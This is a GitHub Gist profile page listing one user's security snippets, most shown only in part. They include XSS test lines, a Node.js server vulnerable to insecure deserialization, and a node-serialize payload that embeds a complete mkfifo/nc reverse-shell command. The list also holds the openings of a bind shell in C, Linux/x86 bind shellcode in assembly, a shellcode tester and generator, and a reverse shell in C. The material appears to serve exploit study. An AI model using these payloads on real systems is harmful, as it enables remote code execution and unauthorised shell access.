Skip to content

Instantly share code, notes, and snippets.

View AdityaChaudhary's full-sized avatar

Aditya Chaudhary AdityaChaudhary

View GitHub Profile
console.log('loaded');
alert(1);
document.write(123);
@AdityaChaudhary
AdityaChaudhary / server.js
Last active July 17, 2018 09:06
Node.js insecure deserialization server
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
@AdityaChaudhary
AdityaChaudhary / serialize.js
Last active July 17, 2018 10:18
Serialize a function in Node.js
var serialize = require('node-serialize');
x = {
test : function(){ return 'hi'; }
};
console.log("Serialized: \n" + serialize.serialize(x));
/*
@AdityaChaudhary
AdityaChaudhary / serialize_shell.js
Created July 17, 2018 10:16
Serialized Node.js reverse shell
var serialize = require('node-serialize');
x = {
test : function(){
require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f", function puts(error, stdout, stderr) {});
}
};
console.log("Serialized: \n" + serialize.serialize(x));
@AdityaChaudhary
AdityaChaudhary / session_fixation_patch.asp
Last active September 3, 2018 11:21
Workaround of Session Fixation in IIS6
Session.Clear();
Session.Abandon();
Session.RemoveAll();
if (Request.Cookies["ASP.NET_SessionId"] != null)
{
Response.Cookies["ASP.NET_SessionId"].Value = string.Empty;
Response.Cookies["ASP.NET_SessionId"].Expires = DateTime.Now.AddMonths(-20);
}
@AdityaChaudhary
AdityaChaudhary / bind_shell.c
Last active January 6, 2019 14:35
Bind Shell in C
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int socket_fd;
int client_fd;
socklen_t socklen;
struct sockaddr_in srv_addr;
struct sockaddr_in cli_addr;
@AdityaChaudhary
AdityaChaudhary / bind_shell.asm
Created January 6, 2019 16:53
Linux/x86 Bind Shellcode
; Bind Shellcode
; Author: Aditya Chaudhary
; Date: 6th Jan 2019
global _start
section .text
_start:
xor eax, eax
@AdityaChaudhary
AdityaChaudhary / shellcode.c
Created January 6, 2019 17:00
C program to test the shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"<shell_code_here>";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
@AdityaChaudhary
AdityaChaudhary / shellcode_gen.py
Created January 6, 2019 17:31
Linux/x86 Bind Shellcode Generator
# Python Shellcode Generator
# Paste the shell code and use command line args to provide port number
# python shellcode_gen.py 7777
#!/bin/python
import sys, struct
if (len(sys.argv) < 2):
print "[#] Error: Please provide port number"
else:
@AdityaChaudhary
AdityaChaudhary / reverse_shell.c
Last active August 24, 2022 17:11
Reverse Shell in C
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define ADDR "127.0.0.1"
#define PORT 7777
int main(void) {